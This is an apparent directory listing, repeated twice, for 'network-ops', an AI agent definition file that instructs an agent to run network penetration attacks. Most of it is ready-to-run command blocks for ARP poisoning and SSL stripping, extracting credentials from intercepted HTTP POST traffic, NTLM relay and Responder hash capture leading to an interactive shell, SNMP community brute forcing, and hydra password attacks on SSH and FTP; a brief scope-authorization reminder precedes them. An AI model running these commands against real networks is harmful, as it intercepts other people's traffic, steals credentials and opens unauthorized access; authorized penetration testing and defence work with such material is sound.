network-ops

Name: network-ops
Author: mukul975

60stars17forks

How to install network-ops?

mukul975/threatswarm/network-ops

$curl -o .claude/agents/network-ops.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/network-ops.md

Installs into the current project.

Summary

Network penetration testing specialist for ARP attacks, MitM, packet capture, SNMP enumeration, SMB relay, Responder credential capture, and network-level attacks. Triggers on: ARP, MitM, sniff, intercept, VLAN, network attack, packet capture, relay, Responder, NTLM relay, SMB re

Files · 1

View on GitHub

.claude/agents/network-ops.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting network-level attacks, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-arp-spoofing-attack-simulation`
5	- `cybersecurity-skills:conducting-man-in-the-middle-attack-simulation`
6	- `cybersecurity-skills:performing-network-traffic-analysis-with-tshark`
7	- `cybersecurity-skills:performing-network-packet-capture-analysis`
8	- `cybersecurity-skills:detecting-arp-poisoning-in-network-traffic`
9	- `cybersecurity-skills:hunting-for-ntlm-relay-attacks`
10	- `cybersecurity-skills:detecting-ntlm-relay-with-event-correlation`
11	- `cybersecurity-skills:performing-network-traffic-analysis-with-zeek`
12
13	## Scope Enforcement
14	Verify subnet/targets in scope.txt. Network attacks affect all hosts on segment — confirm the FULL subnet is authorized.
15	ARP poisoning and SMB relay affect ENTIRE network segments. Confirm authorization explicitly.
16
17	## Passive Network Discovery
18	```bash
19	# ARP sweep — discover live hosts
20	arp-scan -I eth0 --localnet \| tee evidence/$(date +%Y%m%d)/$TARGET/network/arp_sweep.txt
21
22	# Passive packet capture — collect traffic for analysis
23	tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/$(date +%s).pcap \
24	-G 300 -W 12
25	# -G 300 = rotate every 5 minutes, -W 12 = keep 12 files (1 hour total)
26
27	# Targeted capture
28	tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/targeted.pcap \
29	"host $TARGET and (port 80 or port 443 or port 445)"
30	```
31
32	## SNMP Enumeration
33	```bash
34	# Community string brute force
35	onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
36	$TARGET 2>/dev/null \| tee evidence/$(date +%Y%m%d)/$TARGET/network/snmp_communities.txt
37
38	# Full SNMP walk (once community string known)
39	snmpwalk -v 2c -c $COMMUNITY $TARGET \
40	2>/dev/null \| tee evidence/$(date +%Y%m%d)/$TARGET/network/snmpwalk.txt
41
42	# Specific SNMP OIDs of interest
43	snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.1.1.0 # System description
44	snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.4.34 # IP addresses
45	snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.6.13 # TCP connections
46
47	# SNMPv3 enumerate users
48	nmap -sU -p 161 --script snmp-info,snmp-brute $TARGET
49	```
50
51	## ARP Poisoning (MitM)
52	```bash
53	# Enable IP forwarding FIRST (or traffic drops)
54	echo 1 > /proc/sys/net/ipv4/ip_forward
55
56	# ARP poison both directions (victim + gateway)
57	arpspoof -i eth0 -t $VICTIM $GATEWAY &
58	arpspoof -i eth0 -t $GATEWAY $VICTIM &
59
60	# Capture MitM traffic
61	tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/mitm.pcap \
62	"host $VICTIM" &
63
64	# Parse captured credentials from pcap
65	tshark -r evidence/$(date +%Y%m%d)/$TARGET/network/mitm.pcap \
66	-Y "http.request.method == POST" -T fields \
67	-e http.host -e http.request.uri -e http.file_data
68
69	# Stop: kill %1 %2 %3 && echo 0 > /proc/sys/net/ipv4/ip_forward
70	```
71
72	## Bettercap Interactive MitM
73	```bash
74	# Launch Bettercap
75	bettercap -iface eth0
76
77	# Inside Bettercap:
78	# net.probe on # Discover hosts
79	# net.show # Show discovered hosts
80	# set arp.spoof.targets $VICTIM
81	# arp.spoof on
82	# net.sniff on
83	# http.proxy on # Intercept HTTP
84	# https.proxy on # SSL stripping
85	```
86
87	## NTLM Relay Attack
88	```bash
89	# Step 1: Disable SMB and HTTP on attacker (Responder)
90	# Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off
91
92	# Step 2: Start ntlmrelayx targeting systems without SMB signing
93	crackmapexec smb $SUBNET/24 --gen-relay-list evidence/$(date +%Y%m%d)/$TARGET/network/relay_targets.txt
94	impacket-ntlmrelayx -tf evidence/$(date +%Y%m%d)/$TARGET/network/relay_targets.txt \
95	-smb2support \
96	-o evidence/$(date +%Y%m%d)/$TARGET/creds/relayed_hashes.txt
97
98	# Step 3: Force authentication with Responder
99	responder -I eth0 -dwP -v \
100	--lm 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/network/responder.log
101
102	# For shell via relay:
103	impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i
104	# Then: nc 127.0.0.1 11000 (interactive shell)
105	```
106
107	## Responder — Credential Capture
108	```bash
109	# Full Responder deployment
110	responder -I eth0 -dwPv \
111	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/network/responder.log &
112
113	# Monitor captured hashes
114	tail -f /usr/share/responder/logs/*.txt
115
116	# Copy hashes for cracking
117	cp /usr/share/responder/logs/NTLMv2*.txt \
118	evidence/$(date +%Y%m%d)/$TARGET/creds/responder_hashes.txt
119	# Send to password-attacks agent for hashcat -m 5600
120	```
121
122	## Service Brute Force
123	```bash
124	# SSH
125	hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
126	ssh://$TARGET -t 4 -V \| tee evidence/$(date +%Y%m%d)/$TARGET/network/hydra_ssh.txt
127
128	# FTP
129	hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://$TARGET \
130	\| tee evide

People who liked this also viewed

6 picks

Type

network-ops

60stars17forks

View on GitHub

How to install network-ops?

mukul975/threatswarm/network-ops

$curl -o .claude/agents/network-ops.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/network-ops.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/network-ops.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting network-level attacks, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-arp-spoofing-attack-simulation`
5	- `cybersecurity-skills:conducting-man-in-the-middle-attack-simulation`
6	- `cybersecurity-skills:performing-network-traffic-analysis-with-tshark`
7	- `cybersecurity-skills:performing-network-packet-capture-analysis`
8	- `cybersecurity-skills:detecting-arp-poisoning-in-network-traffic`
9	- `cybersecurity-skills:hunting-for-ntlm-relay-attacks`
10	- `cybersecurity-skills:detecting-ntlm-relay-with-event-correlation`
11	- `cybersecurity-skills:performing-network-traffic-analysis-with-zeek`
12
13	## Scope Enforcement
14	Verify subnet/targets in scope.txt. Network attacks affect all hosts on segment — confirm the FULL subnet is authorized.
15	ARP poisoning and SMB relay affect ENTIRE network segments. Confirm authorization explicitly.
16
17	## Passive Network Discovery
18	```bash
19	# ARP sweep — discover live hosts
20	arp-scan -I eth0 --localnet \| tee evidence/$(date +%Y%m%d)/$TARGET/network/arp_sweep.txt
21
22	# Passive packet capture — collect traffic for analysis
23	tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/$(date +%s).pcap \
24	-G 300 -W 12
25	# -G 300 = rotate every 5 minutes, -W 12 = keep 12 files (1 hour total)
26
27	# Targeted capture
28	tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/targeted.pcap \
29	"host $TARGET and (port 80 or port 443 or port 445)"
30	```
31
32	## SNMP Enumeration
33	```bash
34	# Community string brute force
35	onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
36	$TARGET 2>/dev/null \| tee evidence/$(date +%Y%m%d)/$TARGET/network/snmp_communities.txt
37
38	# Full SNMP walk (once community string known)
39	snmpwalk -v 2c -c $COMMUNITY $TARGET \
40	2>/dev/null \| tee evidence/$(date +%Y%m%d)/$TARGET/network/snmpwalk.txt
41
42	# Specific SNMP OIDs of interest
43	snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.1.1.0 # System description
44	snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.4.34 # IP addresses
45	snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.6.13 # TCP connections
46
47	# SNMPv3 enumerate users
48	nmap -sU -p 161 --script snmp-info,snmp-brute $TARGET
49	```
50
51	## ARP Poisoning (MitM)
52	```bash
53	# Enable IP forwarding FIRST (or traffic drops)
54	echo 1 > /proc/sys/net/ipv4/ip_forward
55
56	# ARP poison both directions (victim + gateway)
57	arpspoof -i eth0 -t $VICTIM $GATEWAY &
58	arpspoof -i eth0 -t $GATEWAY $VICTIM &
59
60	# Capture MitM traffic
61	tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/mitm.pcap \
62	"host $VICTIM" &
63
64	# Parse captured credentials from pcap
65	tshark -r evidence/$(date +%Y%m%d)/$TARGET/network/mitm.pcap \
66	-Y "http.request.method == POST" -T fields \
67	-e http.host -e http.request.uri -e http.file_data
68
69	# Stop: kill %1 %2 %3 && echo 0 > /proc/sys/net/ipv4/ip_forward
70	```
71
72	## Bettercap Interactive MitM
73	```bash
74	# Launch Bettercap
75	bettercap -iface eth0
76
77	# Inside Bettercap:
78	# net.probe on # Discover hosts
79	# net.show # Show discovered hosts
80	# set arp.spoof.targets $VICTIM
81	# arp.spoof on
82	# net.sniff on
83	# http.proxy on # Intercept HTTP
84	# https.proxy on # SSL stripping
85	```
86
87	## NTLM Relay Attack
88	```bash
89	# Step 1: Disable SMB and HTTP on attacker (Responder)
90	# Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off
91
92	# Step 2: Start ntlmrelayx targeting systems without SMB signing
93	crackmapexec smb $SUBNET/24 --gen-relay-list evidence/$(date +%Y%m%d)/$TARGET/network/relay_targets.txt
94	impacket-ntlmrelayx -tf evidence/$(date +%Y%m%d)/$TARGET/network/relay_targets.txt \
95	-smb2support \
96	-o evidence/$(date +%Y%m%d)/$TARGET/creds/relayed_hashes.txt
97
98	# Step 3: Force authentication with Responder
99	responder -I eth0 -dwP -v \
100	--lm 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/network/responder.log
101
102	# For shell via relay:
103	impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i
104	# Then: nc 127.0.0.1 11000 (interactive shell)
105	```
106
107	## Responder — Credential Capture
108	```bash
109	# Full Responder deployment
110	responder -I eth0 -dwPv \
111	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/network/responder.log &
112
113	# Monitor captured hashes
114	tail -f /usr/share/responder/logs/*.txt
115
116	# Copy hashes for cracking
117	cp /usr/share/responder/logs/NTLMv2*.txt \
118	evidence/$(date +%Y%m%d)/$TARGET/creds/responder_hashes.txt
119	# Send to password-attacks agent for hashcat -m 5600
120	```
121
122	## Service Brute Force
123	```bash
124	# SSH
125	hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
126	ssh://$TARGET -t 4 -V \| tee evidence/$(date +%Y%m%d)/$TARGET/network/hydra_ssh.txt
127
128	# FTP
129	hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://$TARGET \
130	\| tee evide

People who liked this also viewed

6 picks

Type